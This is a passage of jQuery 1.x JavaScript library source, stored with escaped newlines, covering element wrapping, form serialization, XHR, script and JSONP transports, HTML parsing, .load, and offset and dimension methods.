);\n\t\t\t}\n\n\t\t\twrap.map(function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstChild && elem.firstChild.nodeType === 1 ) {\n\t\t\t\t\telem = elem.firstChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t}).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapInner( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t});\n\t},\n\n\twrap: function( html ) {\n\t\tvar isFunction = jQuery.isFunction( html );\n\n\t\treturn this.each(function(i) {\n\t\t\tjQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );\n\t\t});\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each(function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t}).end();\n\t}\n});\n\n\njQuery.expr.filters.hidden = function( elem ) {\n\t// Support: Opera <= 12.12\n\t// Opera reports offsetWidths and offsetHeights less than zero on some elements\n\treturn elem.offsetWidth <= 0 && elem.offsetHeight <= 0 ||\n\t\t(!support.reliableHiddenOffsets() &&\n\t\t\t((elem.style && elem.style.display) || jQuery.css( elem, \"display\" )) === \"none\");\n};\n\njQuery.expr.filters.visible = function( elem ) {\n\treturn !jQuery.expr.filters.hidden( elem );\n};\n\n\n\n\nvar r20 = /%20/g,\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n\trsubmittable = /^(?:input|select|textarea|keygen)/i;\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tvar name;\n\n\tif ( jQuery.isArray( obj ) ) {\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\t\t\t\t// Item is non-scalar (array or object), encode its numeric index.\n\t\t\t\tbuildParams( prefix + \"[\" + ( typeof v === \"object\" ? i : \"\" ) + \"]\", v, traditional, add );\n\t\t\t}\n\t\t});\n\n\t} else if ( !traditional && jQuery.type( obj ) === \"object\" ) {\n\t\t// Serialize object item.\n\t\tfor ( name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\njQuery.param = function( a, traditional ) {\n\tvar prefix,\n\t\ts = [],\n\t\tadd = function( key, value ) {\n\t\t\t// If value is a function, invoke it and return its value\n\t\t\tvalue = jQuery.isFunction( value ) ? value() : ( value == null ? \"\" : value );\n\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" + encodeURIComponent( value );\n\t\t};\n\n\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\tif ( traditional === undefined ) {\n\t\ttraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;\n\t}\n\n\t// If an array was passed in, assume that it is an array of form elements.\n\tif ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\t\t// Serialize the form elements\n\t\tjQuery.each( a, function() {\n\t\t\tadd( this.name, this.value );\n\t\t});\n\n\t} else {\n\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t// did it), otherwise encode params recursively.\n\t\tfor ( prefix in a ) {\n\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t}\n\t}\n\n\t// Return the resulting serialization\n\treturn s.join( \"&\" ).replace( r20, \"+\" );\n};\n\njQuery.fn.extend({\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\tserializeArray: function() {\n\t\treturn this.map(function() {\n\t\t\t// Can add propHook for \"elements\" to filter or add form elements\n\t\t\tvar elements = jQuery.prop( this, \"elements\" );\n\t\t\treturn elements ? jQuery.makeArray( elements ) : this;\n\t\t})\n\t\t.filter(function() {\n\t\t\tvar type = this.type;\n\t\t\t// Use .is(\":disabled\") so that fieldset[disabled] works\n\t\t\treturn this.name && !jQuery( this ).is( \":disabled\" ) &&\n\t\t\t\trsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n\t\t\t\t( this.checked || !rcheckableType.test( type ) );\n\t\t})\n\t\t.map(function( i, elem ) {\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray( val ) ?\n\t\t\t\t\tjQuery.map( val, function( val ) {\n\t\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t\t}) :\n\t\t\t\t\t{ name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t}).get();\n\t}\n});\n\n\n// Create the request object\n// (This is still attached to ajaxSettings for backward compatibility)\njQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ?\n\t// Support: IE6+\n\tfunction() {\n\n\t\t// XHR cannot access local files, always use ActiveX for that case\n\t\treturn !this.isLocal &&\n\n\t\t\t// Support: IE7-8\n\t\t\t// oldIE XHR does not support non-RFC2616 methods (#13240)\n\t\t\t// See http://msdn.microsoft.com/en-us/library/ie/ms536648(v=vs.85).aspx\n\t\t\t// and http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9\n\t\t\t// Although this check for six methods instead of eight\n\t\t\t// since IE also does not support \"trace\" and \"connect\"\n\t\t\t/^(get|post|head|put|delete|options)$/i.test( this.type ) &&\n\n\t\t\tcreateStandardXHR() || createActiveXHR();\n\t} :\n\t// For all other browsers, use the standard XMLHttpRequest object\n\tcreateStandardXHR;\n\nvar xhrId = 0,\n\txhrCallbacks = {},\n\txhrSupported = jQuery.ajaxSettings.xhr();\n\n// Support: IE<10\n// Open requests must be manually aborted on unload (#5280)\nif ( window.ActiveXObject ) {\n\tjQuery( window ).on( \"unload\", function() {\n\t\tfor ( var key in xhrCallbacks ) {\n\t\t\txhrCallbacks[ key ]( undefined, true );\n\t\t}\n\t});\n}\n\n// Determine support properties\nsupport.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\nxhrSupported = support.ajax = !!xhrSupported;\n\n// Create transport if the browser can provide an xhr\nif ( xhrSupported ) {\n\n\tjQuery.ajaxTransport(function( options ) {\n\t\t// Cross domain only allowed if supported through XMLHttpRequest\n\t\tif ( !options.crossDomain || support.cors ) {\n\n\t\t\tvar callback;\n\n\t\t\treturn {\n\t\t\t\tsend: function( headers, complete ) {\n\t\t\t\t\tvar i,\n\t\t\t\t\t\txhr = options.xhr(),\n\t\t\t\t\t\tid = ++xhrId;\n\n\t\t\t\t\t// Open the socket\n\t\t\t\t\txhr.open( options.type, options.url, options.async, options.username, options.password );\n\n\t\t\t\t\t// Apply custom fields if provided\n\t\t\t\t\tif ( options.xhrFields ) {\n\t\t\t\t\t\tfor ( i in options.xhrFields ) {\n\t\t\t\t\t\t\txhr[ i ] = options.xhrFields[ i ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Override mime type if needed\n\t\t\t\t\tif ( options.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\t\txhr.overrideMimeType( options.mimeType );\n\t\t\t\t\t}\n\n\t\t\t\t\t// X-Requested-With header\n\t\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\t\tif ( !options.crossDomain && !headers[\"X-Requested-With\"] ) {\n\t\t\t\t\t\theaders[\"X-Requested-With\"] = \"XMLHttpRequest\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Set headers\n\t\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\t\t// Support: IE<9\n\t\t\t\t\t\t// IE's ActiveXObject throws a 'Type Mismatch' exception when setting\n\t\t\t\t\t\t// request header to a null-value.\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// To keep consistent with other XHR implementations, cast the value\n\t\t\t\t\t\t// to string and ignore `undefined`.\n\t\t\t\t\t\tif ( headers[ i ] !== undefined ) {\n\t\t\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] + \"\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Do send the request\n\t\t\t\t\t// This may raise an exception which is actually\n\t\t\t\t\t// handled in jQuery.ajax (so no try/catch here)\n\t\t\t\t\txhr.send( ( options.hasContent && options.data ) || null );\n\n\t\t\t\t\t// Listener\n\t\t\t\t\tcallback = function( _, isAbort ) {\n\t\t\t\t\t\tvar status, statusText, responses;\n\n\t\t\t\t\t\t// Was never called and is aborted or complete\n\t\t\t\t\t\tif ( callback && ( isAbort || xhr.readyState === 4 ) ) {\n\t\t\t\t\t\t\t// Clean up\n\t\t\t\t\t\t\tdelete xhrCallbacks[ id ];\n\t\t\t\t\t\t\tcallback = undefined;\n\t\t\t\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\n\t\t\t\t\t\t\t// Abort manually if needed\n\t\t\t\t\t\t\tif ( isAbort ) {\n\t\t\t\t\t\t\t\tif ( xhr.readyState !== 4 ) {\n\t\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tresponses = {};\n\t\t\t\t\t\t\t\tstatus = xhr.status;\n\n\t\t\t\t\t\t\t\t// Support: IE<10\n\t\t\t\t\t\t\t\t// Accessing binary-data responseText throws an exception\n\t\t\t\t\t\t\t\t// (#11426)\n\t\t\t\t\t\t\t\tif ( typeof xhr.responseText === \"string\" ) {\n\t\t\t\t\t\t\t\t\tresponses.text = xhr.responseText;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Firefox throws an exception when accessing\n\t\t\t\t\t\t\t\t// statusText for faulty cross-domain requests\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tstatusText = xhr.statusText;\n\t\t\t\t\t\t\t\t} catch( e ) {\n\t\t\t\t\t\t\t\t\t// We normalize with Webkit giving an empty statusText\n\t\t\t\t\t\t\t\t\tstatusText = \"\";\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Filter status for non standard behaviors\n\n\t\t\t\t\t\t\t\t// If the request is local and we have data: assume a success\n\t\t\t\t\t\t\t\t// (success with no data won't get notified, that's the best we\n\t\t\t\t\t\t\t\t// can do given current implementations)\n\t\t\t\t\t\t\t\tif ( !status && options.isLocal && !options.crossDomain ) {\n\t\t\t\t\t\t\t\t\tstatus = responses.text ? 200 : 404;\n\t\t\t\t\t\t\t\t// IE - #1450: sometimes returns 1223 when it should be 204\n\t\t\t\t\t\t\t\t} else if ( status === 1223 ) {\n\t\t\t\t\t\t\t\t\tstatus = 204;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Call complete if needed\n\t\t\t\t\t\tif ( responses ) {\n\t\t\t\t\t\t\tcomplete( status, statusText, responses, xhr.getAllResponseHeaders() );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\n\t\t\t\t\tif ( !options.async ) {\n\t\t\t\t\t\t// if we're in sync mode we fire the callback\n\t\t\t\t\t\tcallback();\n\t\t\t\t\t} else if ( xhr.readyState === 4 ) {\n\t\t\t\t\t\t// (IE6 & IE7) if it's in cache and has been\n\t\t\t\t\t\t// retrieved directly we need to fire the callback\n\t\t\t\t\t\tsetTimeout( callback );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Add to the list of active xhr callbacks\n\t\t\t\t\t\txhr.onreadystatechange = xhrCallbacks[ id ] = callback;\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\t\tabort: function() {\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tcallback( undefined, true );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t});\n}\n\n// Functions to create xhrs\nfunction createStandardXHR() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch( e ) {}\n}\n\nfunction createActiveXHR() {\n\ttry {\n\t\treturn new window.ActiveXObject( \"Microsoft.XMLHTTP\" );\n\t} catch( e ) {}\n}\n\n\n\n\n// Install script dataType\njQuery.ajaxSetup({\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /(?:java|ecma)script/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n});\n\n// Handle cache's special case and global\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t\ts.global = false;\n\t}\n});\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function(s) {\n\n\t// This transport only deals with cross domain requests\n\tif ( s.crossDomain ) {\n\n\t\tvar script,\n\t\t\thead = document.head || jQuery(\"head\")[0] || document.documentElement;\n\n\t\treturn {\n\n\t\t\tsend: function( _, callback ) {\n\n\t\t\t\tscript = document.createElement(\"script\");\n\n\t\t\t\tscript.async = true;\n\n\t\t\t\tif ( s.scriptCharset ) {\n\t\t\t\t\tscript.charset = s.scriptCharset;\n\t\t\t\t}\n\n\t\t\t\tscript.src = s.url;\n\n\t\t\t\t// Attach handlers for all browsers\n\t\t\t\tscript.onload = script.onreadystatechange = function( _, isAbort ) {\n\n\t\t\t\t\tif ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {\n\n\t\t\t\t\t\t// Handle memory leak in IE\n\t\t\t\t\t\tscript.onload = script.onreadystatechange = null;\n\n\t\t\t\t\t\t// Remove the script\n\t\t\t\t\t\tif ( script.parentNode ) {\n\t\t\t\t\t\t\tscript.parentNode.removeChild( script );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Dereference the script\n\t\t\t\t\t\tscript = null;\n\n\t\t\t\t\t\t// Callback if not abort\n\t\t\t\t\t\tif ( !isAbort ) {\n\t\t\t\t\t\t\tcallback( 200, \"success\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\n\t\t\t\t// Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending\n\t\t\t\t// Use native DOM manipulation to avoid our domManip AJAX trickery\n\t\t\t\thead.insertBefore( script, head.firstChild );\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( script ) {\n\t\t\t\t\tscript.onload( undefined, true );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n});\n\n\n\n\nvar oldCallbacks = [],\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\njQuery.ajaxSetup({\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\tvar callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce++ ) );\n\t\tthis[ callback ] = true;\n\t\treturn callback;\n\t}\n});\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar callbackName, overwritten, responseContainer,\n\t\tjsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n\t\t\t\"url\" :\n\t\t\ttypeof s.data === \"string\" && !( s.contentType || \"\" ).indexOf(\"application/x-www-form-urlencoded\") && rjsonp.test( s.data ) && \"data\"\n\t\t);\n\n\t// Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n\tif ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n\t\t// Get callback name, remembering preexisting value associated with it\n\t\tcallbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?\n\t\t\ts.jsonpCallback() :\n\t\t\ts.jsonpCallback;\n\n\t\t// Insert callback into url or form data\n\t\tif ( jsonProp ) {\n\t\t\ts[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n\t\t} else if ( s.jsonp !== false ) {\n\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n\t\t}\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[\"script json\"] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( callbackName + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Install callback\n\t\toverwritten = window[ callbackName ];\n\t\twindow[ callbackName ] = function() {\n\t\t\tresponseContainer = arguments;\n\t\t};\n\n\t\t// Clean-up function (fires after converters)\n\t\tjqXHR.always(function() {\n\t\t\t// Restore preexisting value\n\t\t\twindow[ callbackName ] = overwritten;\n\n\t\t\t// Save back as free\n\t\t\tif ( s[ callbackName ] ) {\n\t\t\t\t// make sure that re-using the options doesn't screw things around\n\t\t\t\ts.jsonpCallback = originalSettings.jsonpCallback;\n\n\t\t\t\t// save the callback name for future use\n\t\t\t\toldCallbacks.push( callbackName );\n\t\t\t}\n\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && jQuery.isFunction( overwritten ) ) {\n\t\t\t\toverwritten( responseContainer[ 0 ] );\n\t\t\t}\n\n\t\t\tresponseContainer = overwritten = undefined;\n\t\t});\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n});\n\n\n\n\n// data: string of html\n// context (optional): If specified, the fragment will be created in this context, defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\njQuery.parseHTML = function( data, context, keepScripts ) {\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\tif ( typeof context === \"boolean\" ) {\n\t\tkeepScripts = context;\n\t\tcontext = false;\n\t}\n\tcontext = context || document;\n\n\tvar parsed = rsingleTag.exec( data ),\n\t\tscripts = !keepScripts && [];\n\n\t// Single tag\n\tif ( parsed ) {\n\t\treturn [ context.createElement( parsed[1] ) ];\n\t}\n\n\tparsed = jQuery.buildFragment( [ data ], context, scripts );\n\n\tif ( scripts && scripts.length ) {\n\t\tjQuery( scripts ).remove();\n\t}\n\n\treturn jQuery.merge( [], parsed.childNodes );\n};\n\n\n// Keep a copy of the old load method\nvar _load = jQuery.fn.load;\n\n/**\n * Load a url into a page\n */\njQuery.fn.load = function( url, params, callback ) {\n\tif ( typeof url !== \"string\" && _load ) {\n\t\treturn _load.apply( this, arguments );\n\t}\n\n\tvar selector, response, type,\n\t\tself = this,\n\t\toff = url.indexOf(\" \");\n\n\tif ( off >= 0 ) {\n\t\tselector = url.slice( off, url.length );\n\t\turl = url.slice( 0, off );\n\t}\n\n\t// If it's a function\n\tif ( jQuery.isFunction( params ) ) {\n\n\t\t// We assume that it's the callback\n\t\tcallback = params;\n\t\tparams = undefined;\n\n\t// Otherwise, build a param string\n\t} else if ( params && typeof params === \"object\" ) {\n\t\ttype = \"POST\";\n\t}\n\n\t// If we have elements to modify, make the request\n\tif ( self.length > 0 ) {\n\t\tjQuery.ajax({\n\t\t\turl: url,\n\n\t\t\t// if \"type\" variable is undefined, then \"GET\" method will be used\n\t\t\ttype: type,\n\t\t\tdataType: \"html\",\n\t\t\tdata: params\n\t\t}).done(function( responseText ) {\n\n\t\t\t// Save response for use in complete callback\n\t\t\tresponse = arguments;\n\n\t\t\tself.html( selector ?\n\n\t\t\t\t// If a selector was specified, locate the right elements in a dummy div\n\t\t\t\t// Exclude scripts to avoid IE 'Permission Denied' errors\n\t\t\t\tjQuery(\"<div>\").append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n\t\t\t\t// Otherwise use the full result\n\t\t\t\tresponseText );\n\n\t\t}).complete( callback && function( jqXHR, status ) {\n\t\t\tself.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );\n\t\t});\n\t}\n\n\treturn this;\n};\n\n\n\n\njQuery.expr.filters.animated = function( elem ) {\n\treturn jQuery.grep(jQuery.timers, function( fn ) {\n\t\treturn elem === fn.elem;\n\t}).length;\n};\n\n\n\n\n\nvar docElem = window.document.documentElement;\n\n/**\n * Gets a window from an element\n */\nfunction getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ?\n\t\telem :\n\t\telem.nodeType === 9 ?\n\t\t\telem.defaultView || elem.parentWindow :\n\t\t\tfalse;\n}\n\njQuery.offset = {\n\tsetOffset: function( elem, options, i ) {\n\t\tvar curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n\t\t\tposition = jQuery.css( elem, \"position\" ),\n\t\t\tcurElem = jQuery( elem ),\n\t\t\tprops = {};\n\n\t\t// set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tcurOffset = curElem.offset();\n\t\tcurCSSTop = jQuery.css( elem, \"top\" );\n\t\tcurCSSLeft = jQuery.css( elem, \"left\" );\n\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n\t\t\tjQuery.inArray(\"auto\", [ curCSSTop, curCSSLeft ] ) > -1;\n\n\t\t// need to be able to calculate position if either top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\t\t\toptions = options.call( elem, i, curOffset );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\njQuery.fn.extend({\n\toffset: function( options ) {\n\t\tif ( arguments.length ) {\n\t\t\treturn options === undefined ?\n\t\t\t\tthis :\n\t\t\t\tthis.each(function( i ) {\n\t\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t\t});\n\t\t}\n\n\t\tvar docElem, win,\n\t\t\tbox = { top: 0, left: 0 },\n\t\t\telem = this[ 0 ],\n\t\t\tdoc = elem && elem.ownerDocument;\n\n\t\tif ( !doc ) {\n\t\t\treturn;\n\t\t}\n\n\t\tdocElem = doc.documentElement;\n\n\t\t// Make sure it's not a disconnected DOM node\n\t\tif ( !jQuery.contains( docElem, elem ) ) {\n\t\t\treturn box;\n\t\t}\n\n\t\t// If we don't have gBCR, just use 0,0 rather than error\n\t\t// BlackBerry 5, iOS 3 (original iPhone)\n\t\tif ( typeof elem.getBoundingClientRect !== strundefined ) {\n\t\t\tbox = elem.getBoundingClientRect();\n\t\t}\n\t\twin = getWindow( doc );\n\t\treturn {\n\t\t\ttop: box.top  + ( win.pageYOffset || docElem.scrollTop )  - ( docElem.clientTop  || 0 ),\n\t\t\tleft: box.left + ( win.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 )\n\t\t};\n\t},\n\n\tposition: function() {\n\t\tif ( !this[ 0 ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar offsetParent, offset,\n\t\t\tparentOffset = { top: 0, left: 0 },\n\t\t\telem = this[ 0 ];\n\n\t\t// fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is its only offset parent\n\t\tif ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\t\t\t// we assume that getBoundingClientRect is available when computed position is fixed\n\t\t\toffset = elem.getBoundingClientRect();\n\t\t} else {\n\t\t\t// Get *real* offsetParent\n\t\t\toffsetParent = this.offsetParent();\n\n\t\t\t// Get correct offsets\n\t\t\toffset = this.offset();\n\t\t\tif ( !jQuery.nodeName( offsetParent[ 0 ], \"html\" ) ) {\n\t\t\t\tparentOffset = offsetParent.offset();\n\t\t\t}\n\n\t\t\t// Add offsetParent borders\n\t\t\tparentOffset.top  += jQuery.css( offsetParent[ 0 ], \"borderTopWidth\", true );\n\t\t\tparentOffset.left += jQuery.css( offsetParent[ 0 ], \"borderLeftWidth\", true );\n\t\t}\n\n\t\t// Subtract parent offsets and element margins\n\t\t// note: when an element has margin: auto the offsetLeft and marginLeft\n\t\t// are the same in Safari causing offset.left to incorrectly be 0\n\t\treturn {\n\t\t\ttop:  offset.top  - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n\t\t\tleft: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true)\n\t\t};\n\t},\n\n\toffsetParent: function() {\n\t\treturn this.map(function() {\n\t\t\tvar offsetParent = this.offsetParent || docElem;\n\n\t\t\twhile ( offsetParent && ( !jQuery.nodeName( offsetParent, \"html\" ) && jQuery.css( offsetParent, \"position\" ) === \"static\" ) ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\t\t\treturn offsetParent || docElem;\n\t\t});\n\t}\n});\n\n// Create scrollLeft and scrollTop methods\njQuery.each( { scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n\tvar top = /Y/.test( prop );\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn access( this, function( elem, method, val ) {\n\t\t\tvar win = getWindow( elem );\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? (prop in win) ? win[ prop ] :\n\t\t\t\t\twin.document.documentElement[ method ] :\n\t\t\t\t\telem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : jQuery( win ).scrollLeft(),\n\t\t\t\t\ttop ? val : jQuery( win ).scrollTop()\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length, null );\n\t};\n});\n\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// getComputedStyle returns percent when specified for top/left/bottom/right\n// rather than make the css module depend on the offset module, we just check for it here\njQuery.each( [ \"top\", \"left\" ], function( i, prop ) {\n\tjQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n\t\tfunction( elem, computed ) {\n\t\t\tif ( computed ) {\n\t\t\t\tcomputed = curCSS( elem, prop );\n\t\t\t\t// if curCSS returns percentage, fallback to offset\n\t\t\t\treturn rnumnonpx.test( computed ) ?\n\t\t\t\t\tjQuery( elem ).position()[ prop ] + \"px\" :\n\t\t\t\t\tcomputed;\n\t\t\t}\n\t\t}\n\t);\n});\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tjQuery.each( { padding: \"inner\" + name, content: type, \"\": \"outer\" + name }, function( defaultExtra, funcName ) {\n\t\t// margin is only for outerHeight, outerWidth\n\t\tjQuery.fn[ funcName ] = function( margin, value ) {\n\t\t\tvar chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n\t\t\t\textra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n\t\t\treturn access( this, function( elem, type, value ) {\n\t\t\t\tvar doc;\n\n\t\t\t\tif ( jQuery.isWindow( elem ) ) {\n\t\t\t\t\t// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there\n\t\t\t\t\t// isn't a whole lot we can do. See pull request at this URL for discussion:\n\t\t\t\t\t// https://github.com/jquery/jquery/pull/764\n\t\t\t\t\treturn elem.document.documentElement[ \"client\" + name ];\n\t\t\t\t}\n\n\t\t\t\t// Get document width or height\n\t\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], whichever is greatest\n\t\t\t\t\t// unfortunately, this causes bug #3838 in IE6/8 only, but there is currently no good, small way to fix it.\n\t\t\t\t\treturn Math.max(\n\t\t\t\t\t\telem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n\t\t\t\t\t\telem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n\t\t\t\t\t\tdoc[ \"client\" + name ]\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn value === undefined ?\n\t\t\t\t\t// Get width or height on the element, requesting but not forcing parseFloat\n\t\t\t\t\tjQuery.css( elem, type, extra ) :\n\n\t\t\t\t\t// Set width or height on the element\n\t\t\t\t\tjQuery.style( elem, type, value, extra );\n\t\t\t}, type, chainable ? margin : undefined, chainable, null );\n\t\t};\n\t});\n});\n\n\n// The number of elements contained in the matched element set\njQuery.fn.size = function() {\n\treturn 